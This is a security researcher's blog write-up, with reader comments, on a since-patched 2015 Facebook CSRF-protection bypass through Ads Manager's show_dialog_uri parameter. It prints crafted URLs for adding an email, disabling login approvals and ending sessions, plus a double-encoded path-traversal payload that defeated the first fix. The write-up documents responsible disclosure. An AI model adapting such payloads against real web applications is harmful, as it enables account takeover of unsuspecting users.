How I bypassed Facebook CSRF Protection

I discovered a vulnerability in Facebook's Ads Manager flow that could be abused to bypass Facebook's CSRF protection and trigger authenticated actions on behalf of a logged-in user.

The issue came from the way Facebook's AsyncDialog functionality processed the show_dialog_uri parameter. By controlling that value, I could influence the destination of an internal POST request that automatically included Facebook's anti-CSRF token, fb_dtsg.

Issue CSRF protection bypass / unsafe internal request construction
Impact Trigger security-sensitive authenticated actions, including account takeover scenarios
Bounty $15,000
Facebook CSRF bypass research

Facebook's CSRF Protection

Facebook used fb_dtsg as an anti-CSRF token for many state-changing requests.

For protected actions, the server expected a valid token to be included in the request. Without it, the action should normally be rejected.

The question was whether an existing Facebook feature could be abused to generate an authenticated request containing a valid fb_dtsg token while allowing an attacker to control where that request was sent.

The Ads Manager Migration Flow

While testing an Ads Manager migration flow, Facebook redirected me to a URL similar to:

https://www.facebook.com/ads/manage/home/?account_id=XXXX&show_dialog_uri=/ads/manage/error/graydisabled/?account_id=XXXX

The page displayed a dialog for migrating a gray account to a personal account.

Facebook Ads Manager account migration dialog
The account migration dialog that triggered the vulnerable request flow.

During page load, Facebook generated an internal POST request to the path provided in show_dialog_uri.

A simplified version of the request looked like this:

POST /ads/manage/error/graydisabled/?account_id=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded

account_id=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=

The Interesting Behavior

One detail immediately stood out: account_id appeared both in the requested URL and in the POST body.

I changed the query parameter name inside show_dialog_uri:

https://www.facebook.com/ads/manage/home/?show_dialog_uri=/ads/manage/error/graydisabled/?aaaa=XXXX

Facebook then generated a request containing my modified parameter:

POST /ads/manage/error/graydisabled/?aaaa=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded

aaaa=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=

This behavior gave me three important properties at the same time:

  • A controllable relative URL inside Facebook.
  • Attacker-controlled parameters in the generated request.
  • A valid fb_dtsg token automatically added by Facebook.

Together, these properties effectively created an authenticated request primitive that could be used to bypass CSRF protection on other Facebook endpoints.

Security-Sensitive Actions

I tested the technique against several Facebook actions. These were examples rather than an exhaustive list of reachable endpoints.

Changing Account Language

/ads/manage/home/?show_dialog_uri=/ajax/settings/account/language.php?new_language=fa_IR

Adding a New Email Address

One of the more serious cases involved adding a new email address to the account:

/ads/manage/home/?show_dialog_uri=/settings/email/add/submit/[email protected]

Depending on the surrounding account-recovery flow, this created an account-takeover path.

Disabling Login Approvals

/ads/manage/home/?show_dialog_uri=/ajax/settings/security/approvals.php?just_enabled_approvals=0

Logging Out Mobile Sessions

/ads/manage/home/?show_dialog_uri=/ajax/settings/mobile/lost_phone.php

Logging Out All Sessions

/ads/manage/home/?show_dialog_uri=/ajax/settings/security/sessions/stop_all.php
Facebook CSRF bypass proof of concept
Proof of concept demonstrating the original CSRF bypass.

Facebook's Initial Fix

After the issue was reported, Facebook restricted show_dialog_uri so that it had to begin with:

/ads/manage/error/graydisabled/?

That prevented me from directly replacing the destination with an arbitrary Facebook endpoint.

I then tested whether the restricted path could still be escaped.

Bypassing the Fix With Double Encoding

A straightforward path traversal attempt did not work because slash characters appearing after the question mark were URL-encoded.

The bypass came from double-encoding the question mark:

%253F

During AsyncDialog processing, one decoding layer was removed. That changed how the remaining path was interpreted and allowed the request path to escape the restricted prefix.

The final payload used a structure similar to:

https://www.facebook.com/ads/manage/home/?account_id&show_dialog_uri=%2Fads%2Fmanage%2Ferror%2Fgraydisabled%2F%253F%2F..%2F..%2F..%2F..%2F..%2Fsettings%2Femail%2Fadd%2Fsubmit%2F%3Fnew_email%3Dpouya%40darabi.me
Facebook CSRF fix bypass using double encoding
The double-encoding technique used to bypass Facebook's initial restriction.

Resolution

After the bypass was reported, Facebook blocked the second technique as well. The vulnerable show_dialog_uri behavior was ultimately removed.

Disclosure Timeline

March 29, 2015 — 16:07 Initial vulnerability reported.
March 29, 2015 — 21:15 Additional details provided.
March 30, 2015 — 00:57 Issue acknowledged by Facebook's security team.
March 30, 2015 — 02:10 Temporary fix deployed.
March 30, 2015 — 02:52 Fix bypass reported.
March 30, 2015 — 03:19 Bypass blocked.
March 31, 2015 — 07:10 $15,000 bounty awarded.

36 comments

  1. Hi Pouya,
    Congrats a lot, awesome finding :)

    It would have also worked even if that account_id parameter didn't appear inside body for parameterless requests, right?

    ReplyDelete
    Replies
    1. Hi
      Thanks :)
      in first request,yes
      parameter in query string is enough!

      Delete
    2. hmm, logout all mobile & logout all sessions would also work ;)
      Are those only 2 bugs that made you 2nd in Facebook HOF?

      Delete
    3. Oh! So you've already earned more than 23k?
      Why didn't you write about the other one or is it about to come?

      hehe, just being curious :)

      Delete
    4. yes, in future, I will write about other bug i found!

      Delete
  2. Awesome Vulnerability Hunting ;-)

    ReplyDelete
  3. This comment has been removed by the author.

    ReplyDelete
  4. Common Sense prevails...good catch buddy :)

    ReplyDelete
  5. Salam
    Khoshhal misham agar research+bug+... dar zone amniat dashtid baraie ma ham ersal konid :)
    www.securitylab.ir

    ReplyDelete
  6. This comment has been removed by the author.

    ReplyDelete
  7. Nice finding.

    Between Couldn't have the CRLF injection worked here?

    ReplyDelete
    Replies
    1. Thanks, no it wasn't vulnerable to such attacks

      Delete
  8. I like to know how can i use this trick against "facebook dialog box" to click to confirmation button programaticaly?

    ReplyDelete
  9. This comment has been removed by the author.

    ReplyDelete
  10. thank you for your blog .wish you all the best .Facebook

    ReplyDelete